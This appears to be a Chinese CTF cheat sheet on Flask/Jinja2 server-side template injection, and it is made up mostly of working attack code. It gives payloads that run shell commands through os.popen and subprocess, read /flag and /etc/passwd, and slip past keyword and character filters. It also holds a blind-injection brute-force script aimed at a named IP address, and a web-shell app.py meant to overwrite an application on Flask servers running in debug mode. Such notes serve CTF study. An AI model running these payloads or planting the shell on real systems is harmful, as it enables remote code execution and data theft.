flask 注入

常用变量包裹标识符

基础知识

所有的子类都有一个共同的父类 object

  • __class__ : 返回当前类
  • __mro__ : 返回当前类的继承关系(列表形式),一般 __mor__[-1]object
  • __base__ : 返回当前类的父类(字符串形式)
  • __bases__ : 返回当前类的父类(元组形式),__bases__[0] 等同于 __base__
  • __subclasses__() : 返回当前类的所有子类,可以通过索引定位某个子类,也可以通过 __subclasses__().index(os._wrap_close) 找到某个类的索引
  • __builtins__ : 对 builtins 的一个引用,builtins 是 python 的内建模块,就是在使用时不需要 import,就可以直接使用的模块,比如 evalexec 等等
  • __globals__ : 以字典的形式获取对象全部可调用的变量

可利用类

  • os._wrap_close

    1
    {{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("shell here").read()}}
  • subprocess.Popen()

    1
    {{().__class__.__mro__[1].__subclasses__()[407]("shell here",shell=True,stdout=-1).communicate()[0]}}
  • _frozen_importlib_external.FileLoader : 读取flag内容

    1
    {{"".__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
  • lipsum 方法:flask 的内置方法,自带 os 模块

    1
    name={{lipsum.__globals__.get('os').popen('cat /flag').read()}}
  • 新姿势

    1
    name={{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}

    这里的 x 任意26个字母都可以,同样可以得到 __builtins__

  • 再来一个

    1
    name={{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}

SSTI 模板注入绕过

  • 双大括号 被过滤

使用 {% print() %} 代替

对于不会有回显的盲注,可以采用如下方式进行

1
2
3
4
5
6
7
8
9
{% if xxx %}1{% endif %}

{% if ().__class__.__base__.__subclasses__()[59].__init__.__globals__['___builtins__']['eval']('__import__("os").popen("ls").read()')%}1{% endif %}

{% if ([]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["__ba""se__"]["__subc""lasses__"]()[137]["__in""it__"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["popen"]("c"+"at /flag*").read()|string)[i] == "a" %}1{% endif %}

{% if ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()[0:1]=='r' %}1{% endif %}
{% if ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()[0:2]=='ro' %}1{% endif %}
# 获取文件内容
  • [] 被过滤
1
2
3
().__class__.__base__.__subclasses__().__getitem__(40)('/etc/passwd').read()    # 利用__getitem__

().__class__.__base__.__subclasses__().pop(40)('/etc/passwd').read() # 利用pop(pop只能用于list对象)
  • _ 被过滤

可以利用 GET 或者 POST 传递参数来绕过,get 参数对应 request.arg 属性,POST 参数对应 request.values 属性

1
2
{{ ()[request.args.class][request.args.base][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&base=__base__&subclasses=__subclasses__

  • 单双引号被过滤

也可以使用 GET 或 POST 传参

1
2
3
{{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag # `subprocess.Popen()` 类

{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.param).read()}}&popen=popen&param=cat+/flag # `os._wrap_close` 类

此外,如果 args 被过滤,可以使用 values 代替;或利用 cookies,如下:

1
{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.param).read()}}
1
2
# HTML Header
Cookie: p=popen; param=cat /flag
  • 关键字被过滤

如绕过class,init等关键字,可以用如下方法绕过

1
2
3
[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["__ba""se__"]["__ba"+"se__"]      # 拼接、编码

["\x5f\x5fclass\x5f\x5f"]
  • . 被过滤
1
2
3
4
{{""['__classs__']}}

""|attr("__class__")
# 当有多个 . 连接时,只改变其中的几个 . 会导致错误,必须一次性将全部 . 都更改

注意,__builtins__eval() 这种字典中得到的属性值,不能使用 |attr(""),必须先使用 __getitem__ 获取到该属性,如

1
x.__init__.__globals__.__builtins__.eval('...')

去掉 . 应该是下面这样的:

1
2
x|attr("__init__")|attr("__globals__")|attr("__getitem__")('__builtins__')|attr("__getitem__")("eval")('...')

过滤器

变量可以通过过滤器修改。过滤器与变量之间用管道(|) 隔开

  • attr

获取变量

1
""|attr("__class__")    # 相当于"".__class__
  • str

类似于python内置函数str,把显示到浏览器中的全部值转换为字符串再通过下标引用

1
(().__class__|string)[0]    # 出来的是<

SET 构造字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//构造pop
{% set po=dict(po=1,p=2)|join%}

//构造下划线 _
{% set a=(()|select|string|list)|attr(po)(24)%}

//构造request
{% set re=dict(reque=1,st=1)|join%}

//构造__init__
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}

//构造__globals__
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}

//构造__getitem__
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}

//构造__builtins__
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}

//【构造】q.__init__.__globals__.__getitem__.__builtins__
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}

//构造chr函数
{% set chr=x.chr%}

// 构造/flag
{% set f=chr(47)~(dict(flag=a)|join)%}

//读取文件/flag
{% print(x.open(f).read())%}

字符转八进制脚本

1
2
3
4
5
6
7
8
def string_to_octal_escape(input_string):
octal_escape = ''.join(f'\\{ord(char):03o}' for char in input_string)
return octal_escape

# 示例
input_string = "__import__('os').popen('ls /').read()"
octal_escape_string = string_to_octal_escape(input_string)
print(f"字符串 '{input_string}' 的八进制转义表示为: {octal_escape_string}")

字符转十六进制脚本

1
2
3
4
5
6
7
8
9
10
11
12
def string_to_hex_with_prefix(input_string):
# 将每个字符转换为 \x 前缀的十六进制表示
hex_string = ''.join(f'\\x{ord(char):02x}' for char in input_string)
return hex_string

# 测试字符串
input_string = "__class__"

# 转换为带 \x 前缀的十六进制编码
hex_encoded = string_to_hex_with_prefix(input_string)
print(f"Original String: {input_string}")
print(f"Hex Encoded: {hex_encoded}")

More

更多的过滤方式可以看

SSTI模板注入绕过(进阶篇)
ssti模板注入总结

Fenjing

针对CTF比赛中 Jinja SSTI 绕过 WAF 的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口

链接:Fenjing | github

测试用例:

1
python -m fenjing crack --url="http://62a50a6b-b8c9-4d34-9015-be09262a4075.challenge.ctf.show/" --inputs name --method GET

攻击成功后可以以交互的方式操作

scuctf flask盲注

这道题就是无回显形式的flask盲注,正确的情况会返回Ok,错误的情况会返回NO。输入被过滤的字符会返回N0。被过滤的字符如下

1
backlist = ['{{', 'for', 'eval', 'builtins', 'class', 'base', 'subclasses', 'globals', 'init', 'import', 'config', 'item', 'request', 'ls', 'cat']

注意的一点是,这道题用了两次__base__才正常返回了Object类

盲注找可以利用的类的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import string

url_class = r'http://114.117.187.56:11003/view?name={% if "_wrap_close" in ([]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["__ba""se__"]["__ba""se__"]["__subc""lasses__"]()'
while True:
payload = url_class+'['+str(i)+']|string) %}1{% endif %}'
print(payload)
r=requests.get(payload)
if(r.text == 'Ok'):
print(i)
break
i = i + 1

替换类一个一个进行测试,可以得到如下类

1
2
3
4
##### 137  -> <class 'os._wrap_close'>
##### 138 -> <class+'_sitebuiltins.Quitter'
##### 139 -> <class+'_sitebuiltins._Printer'>
##### 140 -> <class+'_sitebuiltins._Hel

于是使用[137] 子类开始进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import string

url = r'http://114.117.187.56:11003/view?name={% if ([]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["__ba""se__"]["__ba""se__"]["__subc""lasses__"]()[137]["__in""it__"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["popen"]("c"+"at /flag*").read()|string)'
# url2 = r'http://114.117.187.56:11003/view?name={% if ([]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["__ba""se__"]["__ba""se__"]|string)'
# url3 = r'http://114.117.187.56:11003/view?name={% if ([]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]|string)'

url_test = r'http://114.117.187.56:11003/view?name={% if ([]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["__ba""se__"]["__ba""se__"]["__subc""lasses__"]()[137]|string)'


class_str=""
i=0

while True:
for j in range(128):
payload = url+'['+str(i)+']==\"'+chr(j)+'\" %}1{% endif %}'
# print(payload)
r=requests.get(payload)
if(r.text == 'Ok'):
class_str += chr(j)
i += 1
print(i)
print(class_str)
break
else:
# print(r.text)
continue

flask debug 模式

如果 flask 开启了 debug 模式

  • 在代码中如果抛出了异常,在浏览器的页面中可以看到具体的错误信息,以及具体的错误代码位置。方便开发者调试
  • python (如 app.py) 源文件被修改都会立刻重新加载
  • debug 模式下,可以使用 PIN 码 进行网页调试

开启 debug 模式的方式

  1. 设置 debug=True
1
2
3
if __name__ == '__main__':
app.debug = True
app.run()
  1. run() 加属性
1
2
if __name__ == '__main__':
app.run(debug=True)
  1. 设置 app 配置
1
2
app = Flask(__name__)
app.config['DEBUG'] = True

利用 debug 模式

如果存在文件上传点,且 flask 开启了 debug 模式,那么可以上传一个能 RCE 的 app.py 覆盖原文件,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass

return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)

然后直接在跟路由进行命令执行

1
?cmd=cat /flag